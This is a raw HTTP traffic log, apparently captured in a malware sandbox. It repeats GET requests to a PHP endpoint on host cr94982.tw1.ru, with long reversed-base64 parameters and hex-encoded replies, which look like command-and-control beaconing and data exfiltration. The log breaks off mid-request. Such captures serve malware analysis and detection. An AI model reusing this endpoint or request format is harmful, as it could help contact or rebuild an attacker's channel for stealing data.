HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun 30 Jun 2024 05:23:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive with response body ==>....... "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&328407ef3d927e7cf249afb544751da4=0VfiIiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiI4gjYhNjNhBzY1MjMldTNzUTN5gDZiFTMiJTMhFGOlNTY0Q2M3kTYiJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: cr94982.tw1.ru Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun 30 Jun 2024 05:23:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive with response body ==>....... "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&328407ef3d927e7cf249afb544751da4=0VfiIiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiI4gjYhNjNhBzY1MjMldTNzUTN5gDZiFTMiJTMhFGOlNTY0Q2M3kTYiJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: cr94982.tw1.ru Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun 30 Jun 2024 05:23:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive with response body ==>....... "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&ef1da49e27b04bc894c9370c3d1a8095=0VfiAjbJpnVtJGbOJTVjhHbjxmQYl1d4dkYoRmRYNmSXpFW4ZEW6R2MitWNXFGW4ZEW200aJZTSDFGMGdUVpdXaJVHZzIWd01mYWpUaPl2ZHRGaCZkW5ljMZpHbHJVa3lWSp9maJ9mUYlVUxcVW5R2VaNnVHZVa3lWSp9maJpnQINmQxcVWsJ1MVl2dplUdkNjY1RXbiZlSp9UaRV1U5ZlMjZVMXlFbSNTVpdXaJVHZzIWd01mYWpUaPlWSYpleWZlYoZ1RkRlSDxUa0IDZ2VjMhVnVslkNJlnW1Z0RURnRXpFMOxWSzlUaiNTOtJmc1clVp9maJ9mUYlVUxcVWsJ1MVl2dplUavpWS6ZVbiZHaHNmdKNTWwFzaJNXSplkNJl3Y0ZkMZlmVyYVa3lWS1hHbjNmRUdlQ4VUVUxWRSNGesx0Y4ZEWjpUaPlWTuJGbW12Yq5EbJNXS5tEN0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiI4gjYhNjNhBzY1MjMldTNzUTN5gDZiFTMiJTMhFGOlNTY0Q2M3kTYiJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: cr94982.tw1.ru" Response ==> HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun 30 Jun 2024 05:23:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive with response body ==>....... "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI3ImM4kDN1MWZiNGMyIGZlZjZ5MjNmFWN2AjYiFWO2MGMkRGNiNjMmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W&328407ef3d927e7cf249afb544751da4=d1nIiojIxYWY3gTZ0EjY5cjZyMzYzITY2Y2YlhjZjBDMmRWM4YjIsIyNiJDO5QTNjVmYjBjMiRWZ2YWOzYjZhVjNwImYhljNjBDZkRjYzIjZiojIzIWZygDNzYmY5MWO5czNhlTZwMjYyMTY0AzYhBTNmBjIsIyMzcTZ4EGNyIWOlFmY2cjNklzNkVDO5YTM0UDNjRDNyADZmlTNlRGOiojIkZWM5UmN4YWZ4UDZjFWOidDOhFmNjRjZmZmMyEmZhZmI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlGOqlkNJNUT0E1VOtmUH1EeBpWTxcGVPxmTXl1akpmW3V1RPxmRX1EaOpnT6lFRP1mWE5UNFRkWzEEVNl2dpl0dJl2Tpl0ROJTTy4EaKdlWsJ1RNtmVtpFaGpXW0ElaO1mWE9EaKdVW5lERaVTSq1UaWpnTohGVNxmStl0NwpWSoJFWZVkUIVGbKNETx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJlnW1x2RhpmUYF2MOZUSy5EWZVlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUa0sWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S1R2MiVHdtJmVoNUS1R2MiVHdtJmVKl2TpV1VihWNVZVUOtWSzl0ULVHZzIWd01mYWh2QJVHZzIWd01mYWpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQD5kMBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaNl3Zqx0MrRFTzVEVONDN55keJl2Tp1kMiNnSDxUaNZlVp9maJVjSIRWdWNjYqp0QMlWSp9Ua0IjYwR2ValnSDxUaJl2TptGSkBnTtl0cJlWTyUkaMlXRqxEMJRVT1FlaOl2bql0ds1WS3AnaJZnWtJmSCh1UpdXaJRFZsFlVCZVUJpUaPlWVXJGa1s2Ys5EWWl2dplERCZFTURGbRZlQWFVSKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIlVDZ2EzYkRDZzIjYxM2M0kjZmVGM2cTZwUWZmZWYxUDO4MGMjFTYzIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: cr94982.tw1.ru" Response ==> no response "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&ef1da49e27b04bc894c9370c3d1a8095=0VfiAjbJpnVtJGbOJTVjhHbjxmQYl1d4dkYoRmRYNmSXpFW4ZEW6R2MitWNXFGW4ZEW200aJZTSDFGMGdUVpdXaJVHZzIWd01mYWpUaPl2ZHRGaCZkW5ljMZpHbHJVa3lWSp9maJ9mUYlVUxcVW5R2VaNnVHZVa3lWSp9maJpnQINmQxcVWsJ1MVl2dplUdkNjY1RXbiZlSp9UaRV1U5ZlMjZVMXlFbSNTVpdXaJVHZzIWd01mYWpUaPlWSYpleWZlYoZ1RkRlSDxUa0IDZ2VjMhVnVslkNJlnW1Z0RURnRXpFMOxWSzlUaiNTOtJmc1clVp9maJ9mUYlVUxcVWsJ1MVl2dplUavpWS6ZVbiZHaHNmdKNTWwFzaJNXSplkNJl3Y0ZkMZlmVyYVa3lWS1hHbjNmRUdlQ4VUVUxWRSNGesx0Y4ZEWjpUaPlWTuJGbW12Yq5EbJNXS5tEN0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiI4gjYhNjNhBzY1MjMldTNzUTN5gDZiFTMiJTMhFGOlNTY0Q2M3kTYiJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: cr94982.tw1.ru" Response ==> HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun 30 Jun 2024 05:23:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive with response body ==>3D3D5166394A69493649434F6A52544F3245544D6C6C6A5A31556D4E35635459695A7A597959444E3255445A774D574E3151544D694A79653649794E316B7A4D....... "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI3ImM4kDN1MWZiNGMyIGZlZjZ5MjNmFWN2AjYiFWO2MGMkRGNiNjMmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W&328407ef3d927e7cf249afb544751da4=d1nIiojIxYWY3gTZ0EjY5cjZyMzYzITY2Y2YlhjZjBDMmRWM4YjIsIyNiJDO5QTNjVmYjBjMiRWZ2YWOzYjZhVjNwImYhljNjBDZkRjYzIjZiojIzIWZygDNzYmY5MWO5czNhlTZwMjYyMTY0AzYhBTNmBjIsIyMzcTZ4EGNyIWOlFmY2cjNklzNkVDO5YTM0UDNjRDNyADZmlTNlRGOiojIkZWM5UmN4YWZ4UDZjFWOidDOhFmNjRjZmZmMyEmZhZmI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlGOqlkNJNUT0E1VOtmUH1EeBpWTxcGVPxmTXl1akpmW3V1RPxmRX1EaOpnT6lFRP1mWE5UNFRkWzEEVNl2dpl0dJl2Tpl0ROJTTy4EaKdlWsJ1RNtmVtpFaGpXW0ElaO1mWE9EaKdVW5lERaVTSq1UaWpnTohGVNxmStl0NwpWSoJFWZVkUIVGbKNETx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJlnW1x2RhpmUYF2MOZUSy5EWZVlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUa0sWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S1R2MiVHdtJmVoNUS1R2MiVHdtJmVKl2TpV1VihWNVZVUOtWSzl0ULVHZzIWd01mYWh2QJVHZzIWd01mYWpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQD5kMBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaNl3Zqx0MrRFTzVEVONDN55keJl2Tp1kMiNnSDxUaNZlVp9maJVjSIRWdWNjYqp0QMlWSp9Ua0IjYwR2ValnSDxUaJl2TptGSkBnTtl0cJlWTyUkaMlXRqxEMJRVT1FlaOl2bql0ds1WS3AnaJZnWtJmSCh1UpdXaJRFZsFlVCZVUJpUaPlWVXJGa1s2Ys5EWWl2dplERCZFTURGbRZlQWFVSKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIlVDZ2EzYkRDZzIjYxM2M0kjZmVGM2cTZwUWZmZWYxUDO4MGMjFTYzIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: cr94982.tw1.ru" Response ==> HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun 30 Jun 2024 05:23:26 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive with response body ==>3D3D5166394A69493649434F6A52544F3245544D6C6C6A5A31556D4E35635459695A7A597959444E3255445A774D574E3151544D694A79653649794E316B7A4D....... "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI3ImM4kDN1MWZiNGMyIGZlZjZ5MjNmFWN2AjYiFWO2MGMkRGNiNjMmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W&328407ef3d927e7cf249afb544751da4=d1nIiojIxYWY3gTZ0EjY5cjZyMzYzITY2Y2YlhjZjBDMmRWM4YjIsIyNiJDO5QTNjVmYjBjMiRWZ2YWOzYjZhVjNwImYhljNjBDZkRjYzIjZiojIzIWZygDNzYmY5MWO5czNhlTZwMjYyMTY0AzYhBTNmBjIsIyMzcTZ4EGNyIWOlFmY2cjNklzNkVDO5YTM0UDNjRDNyADZmlTNlRGOiojIkZWM5UmN4YWZ4UDZjFWOidDOhFmNjRjZmZmMyEmZhZmI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlGOqlkNJNUT0E1VOtmUH1EeBpWTxcGVPxmTXl1akpmW3V1RPxmRX1EaOpnT6lFRP1mWE5UNFRkWzEEVNl2dpl0dJl2Tpl0ROJTTy4EaKdlWsJ1RNtmVtpFaGpXW0ElaO1mWE9EaKdVW5lERaVTSq1UaWpnTohGVNxmStl0NwpWSoJFWZVkUIVGbKNETx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJlnW1x2RhpmUYF2MOZUSy5EWZVlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUa0sWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S1R2MiVHdtJmVoNUS1R2MiVHdtJmVKl2TpV1VihWNVZVUOtWSzl0ULVHZzIWd01mYWh2QJVHZzIWd01mYWpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQD5kMBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaNl3Zqx0MrRFTzVEVONDN55keJl2Tp1kMiNnSDxUaNZlVp9maJVjSIRWdWNjYqp0QMlWSp9Ua0IjYwR2ValnSDxUaJl2TptGSkBnTtl0cJlWTyUkaMlXRqxEMJRVT1FlaOl2bql0ds1WS3AnaJZnWtJmSCh1UpdXaJRFZsFlVCZVUJpUaPlWVXJGa1s2Ys5EWWl2dplERCZFTURGbRZlQWFVSKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIlVDZ2EzYkRDZzIjYxM2M0kjZmVGM2cTZwUWZmZWYxUDO4MGMjFTYzIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: cr94982.tw1.ru" Response ==> HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun 30 Jun 2024 05:23:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive with response body ==>3D3D5166394A69493649434F6A52544F3245544D6C6C6A5A31556D4E35635459695A7A597959444E3255445A774D574E3151544D694A79653649794E316B7A4D....... "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI3ImM4kDN1MWZiNGMyIGZlZjZ5MjNmFWN2AjYiFWO2MGMkRGNiNjMmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W&328407ef3d927e7cf249afb544751da4=d1nIiojIxYWY3gTZ0EjY5cjZyMzYzITY2Y2YlhjZjBDMmRWM4YjIsIyNiJDO5QTNjVmYjBjMiRWZ2YWOzYjZhVjNwImYhljNjBDZkRjYzIjZiojIzIWZygDNzYmY5MWO5czNhlTZwMjYyMTY0AzYhBTNmBjIsIyMzcTZ4EGNyIWOlFmY2cjNklzNkVDO5YTM0UDNjRDNyADZmlTNlRGOiojIkZWM5UmN4YWZ4UDZjFWOidDOhFmNjRjZmZmMyEmZhZmI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlGOqlkNJNUT0E1VOtmUH1EeBpWTxcGVPxmTXl1akpmW3V1RPxmRX1EaOpnT6lFRP1mWE5UNFRkWzEEVNl2dpl0dJl2Tpl0ROJTTy4EaKdlWsJ1RNtmVtpFaGpXW0ElaO1mWE9EaKdVW5lERaVTSq1UaWpnTohGVNxmStl0NwpWSoJFWZVkUIVGbKNETx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJlnW1x2RhpmUYF2MOZUSy5EWZVlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUa0sWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S1R2MiVHdtJmVoNUS1R2MiVHdtJmVKl2TpV1VihWNVZVUOtWSzl0ULVHZzIWd01mYWh2QJVHZzIWd01mYWpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQD5kMBNkYoVjMiBnTzMGbaJjY5JkRJNTQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaNl3Zqx0MrRFTzVEVONDN55keJl2Tp1kMiNnSDxUaNZlVp9maJVjSIRWdWNjYqp0QMlWSp9Ua0IjYwR2ValnSDxUaJl2TptGSkBnTtl0cJlWTyUkaMlXRqxEMJRVT1FlaOl2bql0ds1WS3AnaJZnWtJmSCh1UpdXaJRFZsFlVCZVUJpUaPlWVXJGa1s2Ys5EWWl2dplERCZFTURGbRZlQWFVSKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiEjZhdDOlRTMilzNmJzMjNjMhZjZjVGOmNGMwYGZxgjNiwiIlVDZ2EzYkRDZzIjYxM2M0kjZmVGM2cTZwUWZmZWYxUDO4MGMjFTYzIiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W HTTP/1.1 Accept: */* Content-Type: text/html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: cr94982.tw1.ru Connection: Keep-Alive" Response ==> HTTP/1.1 200 OK Server: nginx/1.24.0 Date: Sun 30 Jun 2024 05:23:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 104 Connection: keep-alive with response body ==>3D3D5166394A69493649434F6A52544F3245544D6C6C6A5A31556D4E35635459695A7A597959444E3255445A774D574E3151544D694A79653649794E316B7A4D....... "GET /c7cfea12.php?PmWQIWlJCDfNoetzpcgTtsBY9Z=RHASU2rmp5bpWKIpf&8c8a77bf24d325859bbb4f799bdced54=AOzYmN1YjMwUjM3UmZ3IjM4EDO4kDN0EWZ4QWO4IDNxcjY2MGZhJTYzQjM3ATO5cDNxYjMwUTM&b848766e36d4a1661b389dd1d9eb622e=gYxIGN1UWOlZzYjZTN2YzNwgDNlZWZwQGZwkDN3gjZ1QWZiNDOzkDZ&74bacac5bc2f8b8e98f39d5d9d6caaf7=d1nI3ImM4kDN1MWZiNGMyIGZlZjZ5MjNmFWN2AjYiFWO2MGMkRGNiNjMmJiOiMjYlJDO0MjZilzY5kzN3EWOlBzMiJzMhRDMjFGM1YGMiwiIzMzNlhTY0IjY5UWYiZzN2QWO3QWN4kjNxQTN0MGN0IDMkZWO1UGZ4IiOiQmZxkTZ2gjZlhTNkNWY5I2N4EWY2MGNmZmZyITYmFmZis3W&328407ef3d927e7cf249afb544751da4=d1nIiojIxYWY3gTZ0EjY5cjZyMzYzITY2Y2YlhjZjBDMmRWM4YjIsIyNiJDO5QTNjVmYjBjMiRWZ2YWOzYjZhVjNwImYhljNjBDZkRjYzIjZiojIzIWZygDNzYmY5MWO5czNhlTZwMjYyMTY0AzYhBTNmBjIsIyMzcTZ4EGNyIWOlFmY2cjNklzNkVDO5YTM0UDNjRDNyADZmlTNlRGOiojIkZWM5UmN4YWZ4UDZjFWOidDOhFmNjRjZmZmMyEmZhZmI7xSfiElZ5oUeQl2bqlEMJJjTspkMZxmR6lVMNpmT3NGRaVTR6lVaopmWrJlaO1mTU1keV1WTxUkeOJTRE9UbopnT0k0QMlGOqlkNJNUT0E1VOtmUH1EeBpWTxcGVPxmTXl1akpmW3V1RPxmRX1EaOpnT6lFRP1mWE5UNFRkWzEEVNl2dpl0dJl2Tpl0ROJTTy4EaKdlWsJ1RNtmVtpFaGpXW0ElaO1mWE9EaKdVW5lERaVTSq1UaWpnTohGVNxmStl0NwpWSoJFWZVkUIVGbKNETx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJlnW1x2RhpmUYF2MOZUSy5EWZVlSp9UajNjYrVzVhhlUxElQKNETpRzaJZTSTJGaO1WWsRWMjBnSDxUa0sWS2k0UaVXOHF2d502Yqx2VUpHbtl0cJN1S1R2MiVHdtJmVoNUS1R2MiVHdtJmVKl2TpV1VihWNVZVUOtWSzl0ULVHZzIWd01mYWh2QJVHZzIWd01mYWpUaPlWVXJGa1UlVRR2aJNXSTdVavpWS1x2VitmRwMGcKNETplUaPl2YVFVVKNETpFFWhNkQD5kMBNkYoVjMiBnTzMGbaJ